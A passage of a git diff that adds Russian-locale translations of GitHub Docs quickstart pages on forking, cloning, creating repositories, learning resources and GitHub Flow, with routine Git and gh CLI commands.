"[Creating and deleting branches within your repository](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository)." + +{% endnote %} +{% endif %} + +## Cloning a fork + +You've successfully forked the Spoon-Knife repository, but so far, it only exists on {% data variables.product.product_name %}. To be able to work on the project, you will need to clone it to your computer. + +You can clone your fork with the command line, {% data variables.product.prodname_cli %}, or {% data variables.product.prodname_desktop %}. + +{% webui %} + +1. On {% data variables.product.product_name %}, navigate to **your fork** of the Spoon-Knife repository. +{% data reusables.repositories.copy-clone-url %} +{% data reusables.command_line.open_the_multi_os_terminal %} +{% data reusables.command_line.change-current-directory-clone %} +4. Type `git clone`, and then paste the URL you copied earlier. It will look like this, with your {% data variables.product.product_name %} username instead of `YOUR-USERNAME`: + ```shell + $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/Spoon-Knife + ``` + +5. Press **Enter**. Your local clone will be created. + ```shell + $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/Spoon-Knife + > Cloning into `Spoon-Knife`... + > remote: Counting objects: 10, done. + > remote: Compressing objects: 100% (8/8), done. + > remove: Total 10 (delta 1), reused 10 (delta 1) + > Unpacking objects: 100% (10/10), done. + ``` + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +To create a clone of your fork, use the `--clone` flag. + +```shell +gh repo fork REPOSITORY --clone=true +``` + +{% endcli %} + +{% desktop %} + +{% data reusables.desktop.choose-clone-repository %} +{% data reusables.desktop.cloning-location-tab %} +{% data reusables.desktop.cloning-repository-list %} +{% data reusables.desktop.choose-local-path %} +{% data reusables.desktop.click-clone %} + +{% enddesktop %} + +## Creating a branch to work on + +Before making changes to the project, you should create a new branch and check it out. By keeping changes in their own branch, you follow GitHub Flow and ensure that it will be easier to contribute to the same project again in the future. For more information, see "[GitHub Flow](/get-started/quickstart/github-flow#following-github-flow)." + +{% webui %} + +```shell +git branch BRANCH-NAME +git checkout BRANCH-NAME +``` + +{% endwebui %} + +{% cli %} + +```shell +git branch BRANCH-NAME +git checkout BRANCH-NAME +``` + +{% endcli %} + +{% desktop %} + +For more information about how to create and manage branches in {% data variables.product.prodname_desktop %}, see "[Managing branches](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches)." + +{% enddesktop %} + +## Making and pushing changes + +Go ahead and make a few changes to the project using your favorite text editor, like [Visual Studio Code](https://code.visualstudio.com). You could, for example, change the text in `index.html` to add your GitHub username. + +When you're ready to submit your changes, stage and commit your changes. `git add .` tells Git that you want to include all of your changes in the next commit. `git commit` takes a snapshot of those changes. + +{% webui %} + +```shell +git add . +git commit -m "a short description of the change" +``` + +{% endwebui %} + +{% cli %} + +```shell +git add . +git commit -m "a short description of the change" +``` + +{% endcli %} + +{% desktop %} + +For more information about how to stage and commit changes in {% data variables.product.prodname_desktop %}, see "[Committing and reviewing changes to your project](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project#selecting-changes-to-include-in-a-commit)." + +{% enddesktop %} + +When you stage and commit files, you essentially tell Git, "Okay, take a snapshot of my changes!" You can continue to make more changes, and take more commit snapshots. + +Right now, your changes only exist locally. When you're ready to push your changes up to {% data variables.product.product_name %}, push your changes to the remote. + +{% webui %} + +```shell +git push +``` + +{% endwebui %} + +{% cli %} + +```shell +git push +``` + +{% endcli %} + +{% desktop %} + +For more information about how to push changes in {% data variables.product.prodname_desktop %}, see "[Pushing changes to GitHub](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github)." + +{% enddesktop %} + +## Making a pull request + +At last, you're ready to propose changes into the main project! This is the final step in producing a fork of someone else's project, and arguably the most important. If you've made a change that you feel would benefit the community as a whole, you should definitely consider contributing back. + +To do so, head on over to the repository on {% data variables.product.product_name %} where your project lives. For this example, it would be at `https://github.com/<your_username>/Spoon-Knife`. You'll see a banner indicating that your branch is one commit ahead of `octocat:main`. Click **Contribute** and then **Open a pull request**. + +{% data variables.product.product_name %} will bring you to a page that shows the differences between your fork and the `octocat/Spoon-Knife` repository. Click **Create pull request**. + +{% data variables.product.product_name %} will bring you to a page where you can enter a title and a description of your changes. It's important to provide as much useful information and a rationale for why you're making this pull request in the first place. The project owner needs to be able to determine whether your change is as useful to everyone as you think it is. Finally, click **Create pull request**. + +## Managing feedback + +Pull Requests are an area for discussion. In this case, the Octocat is very busy, and probably won't merge your changes. For other projects, don't be offended if the project owner rejects your pull request, or asks for more information on why it's been made. It may even be that the project owner chooses not to merge your pull request, and that's totally okay. Your copy will exist in infamy on the Internet. And who knows--maybe someone you've never met will find your changes much more valuable than the original project. + +## Finding projects + +You've successfully forked and contributed back to a repository. Go forth, and +contribute some more!{% ifversion fpt %} For more information, see "[Finding ways to contribute to open source on GitHub](/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github)."{% endif %} diff --git a/translations/ru-RU/content/get-started/quickstart/create-a-repo.md b/translations/ru-RU/content/get-started/quickstart/create-a-repo.md new file mode 100644 index 000000000000..06048bb4fd5e --- /dev/null +++ b/translations/ru-RU/content/get-started/quickstart/create-a-repo.md @@ -0,0 +1,148 @@ +--- +title: Create a repo +redirect_from: + - /create-a-repo + - /articles/create-a-repo + - /github/getting-started-with-github/create-a-repo + - /github/getting-started-with-github/quickstart/create-a-repo +intro: 'To put your project up on {% data variables.product.prodname_dotcom %}, you will need to create a repository for it to live in.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests + - Issues + - Notifications + - Accounts +--- +## Create a repository + +{% ifversion fpt or ghec %} + +You can store a variety of projects in {% data variables.product.prodname_dotcom %} repositories, including open source projects. With open source projects, you can share code to make better, more reliable software. You can use repositories to collaborate with others and track your work. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)." To learn more about open source projects, visit [OpenSource.org](https://opensource.org/about). + +{% elsif ghes or ghae %} + +You can store a variety of projects in {% data variables.product.product_name %} repositories, including innersource projects. With innersource, you can share code to make better, more reliable software. For more information on innersource, see {% data variables.product.company_short %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)." + +{% endif %} + +{% ifversion fpt or ghec %} + +{% note %} + +**Notes:** +- You can create public repositories for an open source project. When creating your public repository, make sure to include a [license file](https://choosealicense.com/) that determines how you want your project to be shared with others. {% data reusables.open-source.open-source-guide-repositories %} +- {% data reusables.open-source.open-source-learning %} +- You can also add community health files to your repositories, to set guidelines on how to contribute, keep your repositories safe, and much more. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)." + +{% endnote %} + +{% endif %} + +{% webui %} + +{% data reusables.repositories.create_new %} +2. Type a short, memorable name for your repository. For example, "hello-world". + ![Field for entering a repository name](/assets/images/help/repository/create-repository-name.png) +3. Optionally, add a description of your repository. For example, "My first repository on {% data variables.product.product_name %}." + ![Field for entering a repository description](/assets/images/help/repository/create-repository-desc.png) +{% data reusables.repositories.choose-repo-visibility %} +{% data reusables.repositories.initialize-with-readme %} +{% data reusables.repositories.create-repo %} + +Congratulations! You've successfully created your first repository, and initialized it with a *README* file. + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +1. In the command line, navigate to the directory where you would like to create a local clone of your new project. +2. To create a repository for your project, use the `gh repo create` subcommand. When prompted, select **Create a new repository on GitHub from scratch** and enter the name of your new project. If you want your project to belong to an organization instead of to your personal account, specify the organization name and project name with `organization-name/project-name`. +3. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory. +4. Alternatively, to skip the prompts supply the repository name and a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create project-name --public`. To clone the repository locally, pass the `--clone` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create). + +{% endcli %} + +## Commit your first change + +{% webui %} + +A *[commit](/articles/github-glossary#commit)* is like a snapshot of all the files in your project at a particular point in time. + +When you created your new repository, you initialized it with a *README* file. *README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository. + +Let's commit a change to the *README* file. + +1. In your repository's list of files, click ***README.md***. + ![README file in file list](/assets/images/help/repository/create-commit-open-readme.png) +2. Above the file's content, click {% octicon "pencil" aria-label="The edit icon" %}. +3. On the **Edit file** tab, type some information about yourself. + ![New content in file](/assets/images/help/repository/edit-readme-light.png) +{% data reusables.files.preview_change %} +5. Review the changes you made to the file. You will see the new content in green. + ![File preview view](/assets/images/help/repository/create-commit-review.png) +{% data reusables.files.write_commit_message %} +{% data reusables.files.choose_commit_branch %} +{% data reusables.files.propose_file_change %} + +{% endwebui %} + +{% cli %} + +Now that you have created a project, you can start committing changes. + +*README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository. Follow these steps to add a *README* file. + +1. In the command line, navigate to the root directory of your new project. (This directory was created when you ran the `gh repo create` command.) +1. Create a *README* file with some information about the project. + + ```shell + echo "info about this project" >> README.md + ``` + +1. Enter `git status`. You will see that you have an untracked `README.md` file. + + ```shell + $ git status + + Untracked files: + (use "git add <file>..." to include in what will be committed) + README.md + + nothing added to commit but untracked files present (use "git add" to track) + ``` + +1. Stage and commit the file. + + ```shell + git add README.md && git commit -m "Add README" + ``` + +1. Push the changes to your branch. + + ```shell + git push --set-upstream origin HEAD + ``` + +{% endcli %} + +## Next steps + +You have now created a repository, including a *README* file, and created your first commit on {% data variables.location.product_location %}. + +{% webui %} + +* You can now clone a {% data variables.product.prodname_dotcom %} repository to create a local copy on your computer. From your local repository you can commit, and create a pull request to update the changes in the upstream repository. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository)" and "[Set up Git](/articles/set-up-git)." + +{% endwebui %} + +* You can find interesting projects and repositories on {% data variables.product.prodname_dotcom %} and make changes to them by creating a fork of the repository. {% data reusables.getting-started.fork-a-repository %} + +* {% data reusables.getting-started.being-social %} + +* {% data reusables.support.connect-in-the-forum-bootcamp %} diff --git a/translations/ru-RU/content/get-started/quickstart/fork-a-repo.md b/translations/ru-RU/content/get-started/quickstart/fork-a-repo.md new file mode 100644 index 000000000000..a8107f1dd2a2 --- /dev/null +++ b/translations/ru-RU/content/get-started/quickstart/fork-a-repo.md @@ -0,0 +1,230 @@ +--- +title: Fork a repo +redirect_from: + - /fork-a-repo + - /forking + - /articles/fork-a-repo + - /github/getting-started-with-github/fork-a-repo + - /github/getting-started-with-github/quickstart/fork-a-repo +intro: A fork is a copy of a repository. Forking a repository allows you to freely experiment with changes without affecting the original project. +permissions: '{% data reusables.enterprise-accounts.emu-permission-fork %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests + - Issues + - Notifications + - Accounts +--- +## About forks + +Most commonly, forks are used to either propose changes to someone else's project to which you do not have write access, or to use someone else's project as a starting point for your own idea. You can fork a repository to create a copy of the repository and make changes without affecting the upstream repository. For more information, see "[Working with forks](/github/collaborating-with-issues-and-pull-requests/working-with-forks)." + +### Propose changes to someone else's project + +For example, you can use forks to propose changes related to fixing a bug. Rather than logging an issue for a bug you have found, you can: + +- Fork the repository. +- Make the fix. +- Submit a pull request to the project owner. + +### Use someone else's project as a starting point for your own idea. + +Open source software is based on the idea that by sharing code, we can make better, more reliable software. For more information, see the "[About the Open Source Initiative](https://opensource.org/about)" on the Open Source Initiative. + +For more information about applying open source principles to your organization's development work on {% data variables.location.product_location %}, see {% data variables.product.prodname_dotcom %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)." + +{% ifversion fpt or ghes or ghec %} + +When creating your public repository from a fork of someone's project, make sure to include a license file that determines how you want your project to be shared with others. For more information, see "[Choose an open source license](https://choosealicense.com/)" at choosealicense.com. + +{% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning %} + +{% endif %} + +## Prerequisites + +If you have not yet, you should first [set up Git](/articles/set-up-git). Don't forget to [set up authentication to {% data variables.location.product_location %} from Git](/articles/set-up-git#next-steps-authenticating-with-github-from-git) as well. + +## Forking a repository + +{% webui %} + +You might fork a project to propose changes to the upstream, or original, repository. In this case, it's good practice to regularly sync your fork with the upstream repository. To do this, you'll need to use Git on the command line. You can practice setting the upstream repository using the same [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository you just forked. + +1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.location.product_location %}{% endif %}, navigate to the [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository. +2. In the top-right corner of the page, click **Fork**. + ![Fork button](/assets/images/help/repository/fork_button.png){% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %} +3. Select an owner for the forked repository. + ![Create a new fork page with owner dropdown emphasized](/assets/images/help/repository/fork-choose-owner.png) +4. By default, forks are named the same as their parent repositories. You can change the name of the fork to distinguish it further. + ![Create a new fork page with repository name field emphasized](/assets/images/help/repository/fork-choose-repo-name.png) +5. Optionally, add a description of your fork. + ![Create a new fork page with description field emphasized](/assets/images/help/repository/fork-description.png) +6. Choose whether to copy only the default branch or all branches to the new fork. For many forking scenarios, such as contributing to open-source projects, you only need to copy the default branch. By default, only the default branch is copied. + ![Option to copy only the default branch](/assets/images/help/repository/copy-default-branch-only.png) +7. Click **Create fork**. + ![Emphasized create fork button](/assets/images/help/repository/fork-create-button.png) + + +{% note %} + +**Note:** If you want to copy additional branches from the parent repository, you can do so from the **Branches** page. For more information, see "[Creating and deleting branches within your repository](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository)."{% endnote %}{% endif %} + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +To create a fork of a repository, use the `gh repo fork` subcommand. + +```shell +gh repo fork REPOSITORY +``` + +To create the fork in an organization, use the `--org` flag. + +```shell +gh repo fork REPOSITORY --org "octo-org" +``` + +{% endcli %} + +{% desktop %} +{% enddesktop %} + +## Cloning your forked repository + +Right now, you have a fork of the Spoon-Knife repository, but you do not have the files in that repository locally on your computer. + +{% webui %} + +1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.location.product_location %}{% endif %}, navigate to **your fork** of the Spoon-Knife repository. +{% data reusables.repositories.copy-clone-url %} +{% data reusables.command_line.open_the_multi_os_terminal %} +{% data reusables.command_line.change-current-directory-clone %} +4. Type `git clone`, and then paste the URL you copied earlier. It will look like this, with your {% data variables.product.product_name %} username instead of `YOUR-USERNAME`: + ```shell + $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/Spoon-Knife + ``` + +5. Press **Enter**. Your local clone will be created. + ```shell + $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/Spoon-Knife + > Cloning into `Spoon-Knife`... + > remote: Counting objects: 10, done. + > remote: Compressing objects: 100% (8/8), done. + > remote: Total 10 (delta 1), reused 10 (delta 1) + > Unpacking objects: 100% (10/10), done. + ``` + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +To create a clone of your fork, use the `--clone` flag. + +```shell +gh repo fork REPOSITORY --clone=true +``` + +{% endcli %} + +{% desktop %} + +{% data reusables.desktop.choose-clone-repository %} +{% data reusables.desktop.cloning-location-tab %} +{% data reusables.desktop.cloning-repository-list %} +{% data reusables.desktop.choose-local-path %} +{% data reusables.desktop.click-clone %} + +{% enddesktop %} + +## Configuring Git to sync your fork with the original repository + +When you fork a project in order to propose changes to the original repository, you can configure Git to pull changes from the original, or upstream, repository into the local clone of your fork. + +{% webui %} + +1. On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.location.product_location %}{% endif %}, navigate to the [octocat/Spoon-Knife](https://github.com/octocat/Spoon-Knife) repository. +{% data reusables.repositories.copy-clone-url %} +{% data reusables.command_line.open_the_multi_os_terminal %} +4. Change directories to the location of the fork you cloned. + - To go to your home directory, type just `cd` with no other text. + - To list the files and folders in your current directory, type `ls`. + - To go into one of your listed directories, type `cd your_listed_directory`. + - To go up one directory, type `cd ..`. +5. Type `git remote -v` and press **Enter**. You will see the current configured remote repository for your fork. + ```shell + $ git remote -v + > origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_FORK.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_FORK.git (push) + ``` + +6. Type `git remote add upstream`, and then paste the URL you copied in Step 3 and press **Enter**. It will look like this: + ```shell + $ git remote add upstream https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/Spoon-Knife.git + ``` + +7. To verify the new upstream repository you have specified for your fork, type `git remote -v` again. You should see the URL for your fork as `origin`, and the URL for the original repository as `upstream`. + ```shell + $ git remote -v + > origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/ YOUR_FORK</em>.git (fetch) + > origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_FORK.git (push) + > upstream https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/ ORIGINAL_REPOSITORY.git (fetch) + > upstream https://{% data variables.command_line.codeblock %}/ORIGINAL_OWNER/ ORIGINAL_REPOSITORY.git (push) + ``` + +Now, you can keep your fork synced with the upstream repository with a few Git commands. For more information, see "[Syncing a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork)." + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +To configure a remote repository for the forked repository, use the `--remote` flag. + +```shell +gh repo fork REPOSITORY --remote=true +``` + +To specify the remote repository's name, use the `--remote-name` flag. + +```shell +gh repo fork REPOSITORY --remote-name "main-remote-repo" +``` + +{% endcli %} + +### Editing a fork + +You can make any changes to a fork, including: + +- **Creating branches:** [*Branches*](/articles/creating-and-deleting-branches-within-your-repository/) allow you to build new features or test out ideas without putting your main project at risk. +- **Opening pull requests:** If you are hoping to contribute back to the original repository, you can send a request to the original author to pull your fork into their repository by submitting a [pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). + +## Find another repository to fork +Fork a repository to start contributing to a project. {% data reusables.repositories.you-can-fork %} + +{% ifversion fpt or ghec %}You can browse [Explore](https://github.com/explore) to find projects and start contributing to open source repositories. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)." + +{% endif %} + +## Next Steps + +You have now forked a repository, practiced cloning your fork, and configured an upstream repository. + +* For more information about cloning the fork and syncing the changes in a forked repository from your computer, see "[Set up Git](/articles/set-up-git)." + +* You can also create a new repository where you can put all your projects and share the code on {% data variables.product.prodname_dotcom %}. {% data reusables.getting-started.create-a-repository %}" + +* {% data reusables.getting-started.being-social %} + +* {% data reusables.support.connect-in-the-forum-bootcamp %} diff --git a/translations/ru-RU/content/get-started/quickstart/git-and-github-learning-resources.md b/translations/ru-RU/content/get-started/quickstart/git-and-github-learning-resources.md new file mode 100644 index 000000000000..a4f544484c70 --- /dev/null +++ b/translations/ru-RU/content/get-started/quickstart/git-and-github-learning-resources.md @@ -0,0 +1,63 @@ +--- +title: Git and GitHub learning resources +redirect_from: + - /articles/good-resources-for-learning-git-and-github + - /articles/what-are-other-good-resources-for-learning-git-and-github + - /articles/git-and-github-learning-resources + - /github/getting-started-with-github/git-and-github-learning-resources + - /github/getting-started-with-github/quickstart/git-and-github-learning-resources +intro: 'There are a lot of helpful Git and {% data variables.product.product_name %} resources on the web. This is a short list of our favorites!' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +authors: + - GitHub +shortTitle: Learning resources +--- +## Using Git + +Familiarize yourself with Git by visiting the [official Git project site](https://git-scm.com) and reading the [ProGit book](http://git-scm.com/book). You can also review the [Git command list](https://git-scm.com/docs). + +## Using {% data variables.product.product_name %} + +{% ifversion fpt or ghec %} + +{% data variables.product.prodname_learning %} offers free interactive courses that are built into {% data variables.product.prodname_dotcom %} with instant automated feedback and help. Learn to open your first pull request, make your first open source contribution, create a {% data variables.product.prodname_pages %} site, and more. For more information about course offerings, see [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). + +{% endif %} + +Become better acquainted with {% data variables.product.product_name %} through our [getting started](/categories/getting-started-with-github/) articles. See our [{% data variables.product.prodname_dotcom %} flow](https://guides.github.com/introduction/flow) for a process introduction. Refer to our [overview guides](https://guides.github.com) to walk through basic concepts. + +{% data reusables.support.ask-and-answer-forum %} + +### Branches, forks, and pull requests + +Learn about [Git branching](http://learngitbranching.js.org/) using an interactive tool. Read about [forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) and [pull requests](/articles/using-pull-requests) as well as [how we use pull requests](https://github.com/blog/1124-how-we-use-pull-requests-to-build-github) at {% data variables.product.prodname_dotcom %}. Access references about using {% data variables.product.prodname_dotcom %} from the [command line](https://cli.github.com/). + +### Tune in + +Our {% data variables.product.prodname_dotcom %} [YouTube Training and Guides channel](https://youtube.com/githubguides) offers tutorials about [pull requests](https://www.youtube.com/watch?v=d5wpJ5VimSU&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=19), [forking](https://www.youtube.com/watch?v=5oJHRbqEofs), [rebase](https://www.youtube.com/watch?v=SxzjZtJwOgo&list=PLg7s6cbtAD15G8lNyoaYDuKZSKyJrgwB-&index=22), and [reset](https://www.youtube.com/watch?v=BKPjPMVB81g) functions. Each topic is covered in 5 minutes or less. + +## Training + +### Free courses + +{% data variables.product.product_name %} offers a series of interactive, [on-demand training courses](https://skills.github.com/) including [Introduction to {% data variables.product.prodname_dotcom %}](https://github.com/skills/introduction-to-github); and courses on {% data variables.product.product_name %} specific tools such as {% data variables.product.prodname_actions %}. + +### {% data variables.product.prodname_dotcom %}'s web-based educational programs + +{% data variables.product.prodname_dotcom %} offers live [trainings](https://services.github.com/#upcoming-events) with a hands-on, project-based approach for those who love the command line and those who don't. + +### Training for your company + +{% data variables.product.prodname_dotcom %} offers [in-person classes](https://services.github.com/#offerings) taught by our highly-experienced educators. [Contact us](https://services.github.com/#contact) to ask your training-related questions. + +## Extras + +An interactive [online Git course](https://www.pluralsight.com/courses/code-school-git-real) from [Pluralsight](https://www.pluralsight.com/codeschool) has seven levels with dozens of exercises in a fun game format. Feel free to adapt our [.gitignore templates](https://github.com/github/gitignore) to meet your needs. + +Extend your {% data variables.product.prodname_dotcom %} reach through {% ifversion fpt or ghec %}[integrations](/articles/about-integrations){% else %}integrations{% endif %}, or by installing [{% data variables.product.prodname_desktop %}](https://desktop.github.com) and the robust [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) text editor. + +Learn how to launch and grow your open source project with the [Open Source Guides](https://opensource.guide/). diff --git a/translations/ru-RU/content/get-started/quickstart/git-cheatsheet.md b/translations/ru-RU/content/get-started/quickstart/git-cheatsheet.md new file mode 100644 index 000000000000..2648adfa1968 --- /dev/null +++ b/translations/ru-RU/content/get-started/quickstart/git-cheatsheet.md @@ -0,0 +1,22 @@ +--- +title: Памятка по GIT +redirect_from: + - /articles/git-cheatsheet + - /github/getting-started-with-github/git-cheatsheet + - /github/getting-started-with-github/quickstart/git-cheatsheet +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +intro: 'Эта памятка Git помогает сэкономить время, если вы забыли команду или не хотите использовать справку в CLI.' +ms.openlocfilehash: 34c3bab9a8c38313cb82a1700f4e7cb27fbbc10c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145125880' +--- +Освоить сразу все доступные команды GIT может быть непросто. Для быстрого получения справки по часто используемым командам можно обращаться к [памятке по GIT](https://training.github.com/). Памятка по использованию GIT доступна на нескольких языках. + +Кроме того, ознакомьтесь со страницей [обучающих материалов по GIT и GitHub](/articles/git-and-github-learning-resources/), которая содержит ссылки на руководства, видео и многое другое. diff --git a/translations/ru-RU/content/get-started/quickstart/github-flow.md b/translations/ru-RU/content/get-started/quickstart/github-flow.md new file mode 100644 index 000000000000..feb205108f84 --- /dev/null +++ b/translations/ru-RU/content/get-started/quickstart/github-flow.md @@ -0,0 +1,105 @@ +--- +title: GitHub Flow +intro: 'Выполните поток данных {% data variables.product.prodname_dotcom %} для совместной работы над проектами.' +redirect_from: + - /articles/creating-and-editing-files-in-your-repository + - /articles/github-flow-in-the-browser + - /articles/github-flow + - /github/collaborating-with-issues-and-pull-requests/github-flow + - /github/getting-started-with-github/github-flow + - /github/getting-started-with-github/quickstart/github-flow +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests + - Fundamentals +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 5458d7b14ff59bf7059f093ee47ee92034b9319f +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147878685' +--- +## Введение + +Процесс {% data variables.product.prodname_dotcom %} — это упрощенный рабочий процесс на основе ветвей. Процесс {% data variables.product.prodname_dotcom %} полезен для всех пользователей, а не только для разработчиков. Например, на {% data variables.product.prodname_dotcom %} процесс {% data variables.product.prodname_dotcom %} используется для [политики сайта](https://github.com/github/site-policy), [документации](https://github.com/github/docs) и [плана развития](https://github.com/github/roadmap). + +## Предварительные требования + +Для выполнения процесса {% data variables.product.prodname_dotcom %} потребуется учетная запись {% data variables.product.prodname_dotcom %} и репозиторий. Сведения о создании учетной записи см. в разделе [Регистрация на {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/signing-up-for-github). Сведения о создании репозитория см. в разделе [Создание репозитория](/github/getting-started-with-github/create-a-repo).{% ifversion fpt or ghec %} Сведения о том, как найти существующий репозиторий для участия, см. в разделе [Способы участия в создании открытого кода в {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github).{% endif %} + +## Выполнение процесса {% data variables.product.prodname_dotcom %} + +{% tip %} + +{% ifversion fpt or ghec %} **Совет**. Вы можете выполнить все этапы процесса {% data variables.product.prodname_dotcom %} через веб-интерфейс {% data variables.product.prodname_dotcom %}, командную строку и [{% data variables.product.prodname_cli %}](https://cli.github.com) или [{% data variables.product.prodname_desktop %}](/free-pro-team@latest/desktop). +{% else %} **Совет**. Вы можете выполнить все этапы процесса {% data variables.product.prodname_dotcom %} через веб-интерфейс {% data variables.product.prodname_dotcom %} или командную строку и [{% data variables.product.prodname_cli %}](https://cli.github.com). +{% endif %} + +{% endtip %} + +### Создание ветви + + Создайте ветвь репозитория. Короткое описательное имя ветви позволит участникам совместной работы быстро получать представление о текущей работе. Например, `increase-test-timeout` или `add-code-of-conduct`. Дополнительные сведения см. в разделе [Создание и удаление ветвей репозитория](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository). + + Создавая ветвь, вы организуете пространство для работы, не затрагивая ветвь по умолчанию. Кроме того, вы предоставляете участникам совместной работы возможность ознакомиться с вашей работой. + +### Внесение изменений + +В ветви можно вносить необходимые изменения в репозиторий. Дополнительные сведения см. в разделах [Создание файлов](/articles/creating-new-files), [Изменение файлов](/articles/editing-files), [Переименование файла](/articles/renaming-a-file), [Перемещение файла в новое расположение](/articles/moving-a-file-to-a-new-location) и [Удаление файлов из репозитория](/github/managing-files-in-a-repository/deleting-files-in-a-repository). + +Ветвь — это безопасное место для внесения изменений. Если вы совершили ошибку, вы можете отменить изменения или отправить дополнительные изменения, чтобы исправить ее. Изменения не будут вноситься в ветвь по умолчанию, пока вы не выполните слияние. + +Зафиксируйте и отправьте изменения в ветвь. Сопровождайте каждую фиксацию сообщением с описанием, чтобы помочь себе и будущим участникам понять, какие изменения она содержит. Например, `fix typo` или `increase rate limit`. + +В идеале каждая фиксация должна содержать полное изолированное изменение. Это упрощает отмену изменений, если вы решите использовать другой подход. Например, если вы хотите переименовать переменную и добавить тесты, поместите переименованную переменную в одну фиксацию, а тесты — в другую. Позже, если вы захотите оставить тесты, но отменить переименование переменной, можно будет отменить фиксацию с переименованной переменной. Если переименованная переменная и тесты были бы в одной фиксации или переменная была бы переименована в нескольких фиксациях, на отмену изменений потребовалось бы больше усилий. + +Фиксируя и отправляя изменения, вы создаете резервную копию результатов работы в удаленном хранилище. Это означает, что вы можете получить доступ к ним с любого устройства. Это также означает, что участники совместной работы могут просматривать ваши результаты, отвечать на вопросы и вносить предложения или вклад. + +Продолжайте вносить, фиксировать и отправлять изменения в ветвь, пока не будете готовы запросить отзыв. + +{% tip %} + +**Совет**. Создавайте отдельную ветвь для каждого набора несвязанных изменений. Это упростит рецензентам предоставление отзывов. Кроме того, вам и будущим участникам совместной работы будет проще понять, зачем потребовались изменения, и отменить их или продолжить работу над ними. Если один из наборов изменений откладывается, другие изменения не откладываются вместе с ним. + +{% endtip %} + +### Создание запроса на включение изменений + +Чтобы попросить участников совместной работы оставить отзыв о ваших изменениях, создайте запрос на вытягивание. Проверка запросов на вытягивание настолько важна, что для слияния запросов на вытягивание некоторые репозитории требуют утверждения результатов проверки. Если вы хотите получить предварительный отзыв или совет перед внесением изменений, то можете пометить запрос на вытягивание как черновик. Дополнительные сведения см. в разделе [Создание запроса на вытягивание](/articles/creating-a-pull-request). + +При создании запроса на вытягивание добавьте сводку изменений и описание решаемой ими проблемы. Чтобы эти сведения были нагляднее, можно включить изображения, ссылки и таблицы. Если запрос на вытягивание призван решить 